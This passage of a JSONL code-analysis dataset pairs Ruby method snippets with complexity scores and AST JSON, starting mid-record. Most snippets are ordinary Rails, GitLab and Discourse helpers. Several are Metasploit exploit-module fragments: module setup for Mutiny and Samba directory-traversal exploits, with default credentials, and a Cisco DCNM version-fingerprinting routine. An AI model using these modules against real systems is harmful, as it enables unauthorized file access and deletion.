'superadmin@mutiny.com' ]),\n        OptString.new('PASSWORD', [ true, 'The password to authenticate with', 'password' ]),\n        OptString.new('PATH', [ true, 'The file to read or delete' ]),\n      ]\n    )\n  end","complexity_score":10.35,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Mutiny 5 Arbitrary File Read and Delete\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits the EditDocument servlet from the frontend on the Mutiny 5\\n\"]},{\"type\":\"str\",\"children\":[\"          appliance. The EditDocument servlet provides file operations, such as copy and\\n\"]},{\"type\":\"str\",\"children\":[\"          delete, which are affected by a directory traversal vulnerability. Because of this,\\n\"]},{\"type\":\"str\",\"children\":[\"          any authenticated frontend user can read and delete arbitrary files from the system\\n\"]},{\"type\":\"str\",\"children\":[\"          with root privileges. In order to exploit the vulnerability a valid user (any role)\\n\"]},{\"type\":\"str\",\"children\":[\"          in the web frontend is required. The module has been tested successfully on the\\n\"]},{\"type\":\"str\",\"children\":[\"          Mutiny 5.0-1.07 appliance.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"juan vazquez\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2013-0136\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"US-CERT-VU\"]},{\"type\":\"str\",\"children\":[\"701572\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://web.archive.org/web/20250114041839/https://www.rapid7.com/blog/post/2013/05/15/new-1day-exploits-mutiny-vulnerabilities/\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Actions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Read\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Read arbitrary file\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Delete\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Delete arbitrary file\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultAction\"]},{\"type\":\"str\",\"children\":[\"Read\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2013-05-15\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OS_RESOURCE_LOSS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[80]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Path to Mutiny Web Service\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"USERNAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The user to authenticate as\"]},{\"type\":\"str\",\"children\":[\"superadmin@mutiny.com\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The password to authenticate with\"]},{\"type\":\"str\",\"children\":[\"password\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PATH\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The file to read or delete\"]}]}]}]}]}]}]}","id":"00e5ea30-f60d-4b53-b14b-3b692d2eeb38"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/options.rb","start_line":15,"raw_source":"def initialize\n    super(\n      'Name' => 'HTTP Options Detection',\n      'Description' => 'Display available HTTP options for each system',\n      'Author' => ['CG'],\n      'License' => MSF_LICENSE,\n      'References' => [\n        ['CVE', '2005-3398'], # HTTP Trace related\n        ['CVE', '2005-3498'], # HTTP Trace related\n        ['OSVDB', '877'],\n        ['BID', '11604'],\n        ['BID', '9506'],\n        ['BID', '9561'],\n        ['URL', 'https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/OPTIONS']\n      ]\n    )\n    register_options(\n      [\n        OptString.new('TARGETURI', [true, 'URI to test', '/']),\n      ]\n    )\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"HTTP Options Detection\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Display available HTTP options for each system\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CG\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2005-3398\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2005-3498\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"877\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"11604\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"9506\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"9561\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/OPTIONS\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"URI to test\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]}]}]}]}]}","id":"fcadca9a-921b-46fb-b062-639fe31f6a7f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/boards_helper.rb","start_line":103,"raw_source":"def current_board_namespace\n    @current_board_namespace = board.group_board? ? @group : @project.namespace\n  end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"current_board_namespace\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@current_board_namespace\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"board\"]},\"group_board?\"]},{\"type\":\"ivar\",\"children\":[\"@group\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"namespace\"]}]}]}]}","id":"c9dc9988-e1b4-4a35-a7c6-323be80c0214"}
{"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/ruby_llm/providers/openai/capabilities.rb","start_line":149,"raw_source":"def model_family(model_id)\n          MODEL_PATTERNS.each do |family, pattern|\n            return family.to_s if model_id.match?(pattern)\n          end\n          'other'\n        end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"model_family\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MODEL_PATTERNS\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"family\"]},{\"type\":\"arg\",\"children\":[\"pattern\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_id\"]},\"match?\",{\"type\":\"lvar\",\"children\":[\"pattern\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"family\"]},\"to_s\"]}]},null]}]},{\"type\":\"str\",\"children\":[\"other\"]}]}]}","id":"f1b0c12a-79f9-4ad5-a8ae-5210ca9067dc"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/require_profiler.rb","start_line":100,"raw_source":"def time_block\n      start = Time.now\n      yield\n      Time.now - start\n    end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"time_block\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"start\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]}]},{\"type\":\"yield\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"start\"]}]}]}]}","id":"f165d3a1-522b-41fa-9536-f8418a4607c9"}
{"repo_name":"discourse","file_path":"./repos/discourse/migrations/lib/database/adapter/postgres.rb","start_line":34,"raw_source":"def query_value(sql, column = nil)\n      if (row = query_first_row(sql))\n        column ? row[column.to_sym] : row.values.first\n      else\n        nil\n      end\n    end","complexity_score":10.3,"ast_json":"{\"type\":\"def\",\"children\":[\"query_value\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sql\"]},{\"type\":\"optarg\",\"children\":[\"column\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"row\",{\"type\":\"send\",\"children\":[null,\"query_first_row\",{\"type\":\"lvar\",\"children\":[\"sql\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"to_sym\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"values\"]},\"first\"]}]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"a62428db-d38f-4047-88cb-aca32e00060e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/jira_import.rb","start_line":52,"raw_source":"def self.increment_issue_failures(project_id)\n      cache_class.increment(self.failed_issues_counter_cache_key(project_id))\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"increment_issue_failures\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cache_class\"]},\"increment\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"failed_issues_counter_cache_key\",{\"type\":\"lvar\",\"children\":[\"project_id\"]}]}]}]}","id":"75709dcb-2230-49fd-98bc-6923d05393c1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/cisco_dcnm_upload_2019.rb","start_line":103,"raw_source":"def target_select\n    if target != targets[0]\n      return target\n    else\n      res = send_request_cgi(\n        'uri' => normalize_uri(target_uri.path, 'fm', 'fmrest', 'about', 'version'),\n        'method' => 'GET'\n      )\n      if res && res.code == 200\n        if res.body.include?('version\":\"11.1(1)')\n          print_good(\"#{peer} - Detected DCNM 11.1(1)\")\n          print_status(\"#{peer} - No authentication required, ready to exploit!\")\n          return targets[1]\n        elsif res.body.include?('version\":\"11.0(1)')\n          print_good(\"#{peer} - Detected DCNM 11.0(1)\")\n          print_status(\"#{peer} - Note that 11.0(1) requires valid authentication credentials to exploit\")\n          return targets[2]\n        elsif res.body.include?('version\":\"10.4(2)')\n          print_good(\"#{peer} - Detected DCNM 10.4(2)\")\n          print_status(\"#{peer} - No authentication required, ready to exploit!\")\n          return targets[3]\n        else\n          print_error(\"#{peer} - Failed to detect target version.\")\n          print_error(\"Please contact module author or add the target yourself and submit a PR to the Metasploit project!\")\n          print_error(res.body)\n          print_status(\"#{peer} - We will proceed assuming the version is below 10.4(2) and vulnerable to auth bypass\")\n          return targets[3]\n        end\n      end\n      fail_with(Failure::NoTarget, \"#{peer} - Failed to determine target\")\n    end\n  end","complexity_score":84.0,"ast_json":"{\"type\":\"def\",\"children\":[\"target_select\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"targets\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"fm\"]},{\"type\":\"str\",\"children\":[\"fmrest\"]},{\"type\":\"str\",\"children\":[\"about\"]},{\"type\":\"str\",\"children\":[\"version\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"version\\\":\\\"11.1(1)\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Detected DCNM 11.1(1)\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - No authentication required, ready to exploit!\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"targets\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"version\\\":\\\"11.0(1)\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Detected DCNM 11.0(1)\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Note that 11.0(1) requires valid authentication credentials to exploit\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"targets\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"version\\\":\\\"10.4(2)\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Detected DCNM 10.4(2)\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - No authentication required, ready to exploit!\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"targets\"]},\"[]\",{\"type\":\"int\",\"children\":[3]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Failed to detect target version.\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Please contact module author or add the target yourself and submit a PR to the Metasploit project!\"]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - We will proceed assuming the version is below 10.4(2) and vulnerable to auth bypass\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"targets\"]},\"[]\",{\"type\":\"int\",\"children\":[3]}]}]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NoTarget\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Failed to determine target\"]}]}]}]}]}]}","id":"676826ba-44c8-44e4-b2eb-211504b25660"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/routing_test.rb","start_line":645,"raw_source":"def test_escapes_newline_character_for_dynamic_path\n    rs.draw do\n      get \"/dynamic/:dynamic_segment\" => \"subpath_books#show\", as: :dynamic\n\n      ActionDispatch.deprecator.silence do\n        get \":controller/:action/:id\"\n      end\n    end\n\n    results = rs.recognize_path(\"/dynamic/a%0Anewline\")\n    assert(results, \"Recognition should have succeeded\")\n    assert_equal(\"a\\nnewline\", results[:dynamic_segment])\n  end","complexity_score":15.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_escapes_newline_character_for_dynamic_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rs\"]},\"draw\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"/dynamic/:dynamic_segment\"]},{\"type\":\"str\",\"children\":[\"subpath_books#show\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"as\"]},{\"type\":\"sym\",\"children\":[\"dynamic\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionDispatch\"]},\"deprecator\"]},\"silence\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\":controller/:action/:id\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"results\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rs\"]},\"recognize_path\",{\"type\":\"str\",\"children\":[\"/dynamic/a%0Anewline\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"lvar\",\"children\":[\"results\"]},{\"type\":\"str\",\"children\":[\"Recognition should have succeeded\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"a\\nnewline\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"results\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"dynamic_segment\"]}]}]}]}]}","id":"47a3b2b9-68bc-4ae1-a937-7f9583e93de9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/smb/samba_symlink_traversal.rb","start_line":17,"raw_source":"def initialize\n    super(\n      'Name' => 'Samba Symlink Directory Traversal',\n      'Description' => %(\n        This module exploits a directory traversal flaw in the Samba\n      CIFS server. To exploit this flaw, a writeable share must be specified.\n      The newly created directory will link to the root filesystem.\n      ),\n      'Author' => [\n        'kcope', # http://lists.grok.org.uk/pipermail/full-disclosure/2010-February/072927.html\n        'hdm' # metasploit module\n      ],\n      'References' => [\n        ['CVE', '2010-0926'],\n        ['OSVDB', '62145'],\n        ['URL', 'http://www.samba.org/samba/news/symlink_attack.html']\n      ],\n      'License' => MSF_LICENSE,\n      'Notes' => {\n        'Stability' => [CRASH_SAFE],\n        'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],\n        'Reliability' => []\n      }\n    )\n\n    register_options([\n      OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server']),\n      OptString.new('SMBTARGET', [true, 'The name of the directory that should point to the root filesystem', 'rootfs'])\n    ])\n\n    deregister_options('SMB::ProtocolVersion')\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Samba Symlink Directory Traversal\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        This module exploits a directory traversal flaw in the Samba\\n\"]},{\"type\":\"str\",\"children\":[\"      CIFS server. To exploit this flaw, a writeable share must be specified.\\n\"]},{\"type\":\"str\",\"children\":[\"      The newly created directory will link to the root filesystem.\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"kcope\"]},{\"type\":\"str\",\"children\":[\"hdm\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2010-0926\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"62145\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://www.samba.org/samba/news/symlink_attack.html\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]},{\"type\":\"const\",\"children\":[null,\"ARTIFACTS_ON_DISK\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"SMBSHARE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The name of a writeable share on the server\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"SMBTARGET\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The name of the directory that should point to the root filesystem\"]},{\"type\":\"str\",\"children\":[\"rootfs\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"deregister_options\",{\"type\":\"str\",\"children\":[\"SMB::ProtocolVersion\"]}]}]}]}","id":"77bb5a71-60a9-491f-b8ed-07d21fa7e0a8"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/work_package_relations_tab/relation_component.rb","start_line":60,"raw_source":"def should_render_edit_option?\n    # Children and parent can not be edited as it's not a relation.\n    !hierarchy_relationship? && allowed_to_manage_relations?\n  end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"should_render_edit_option?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"hierarchy_relationship?\"]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"allowed_to_manage_relations?\"]}]}]}","id":"a4f2a191-fcfd-4315-a504-6ae458265afe"}
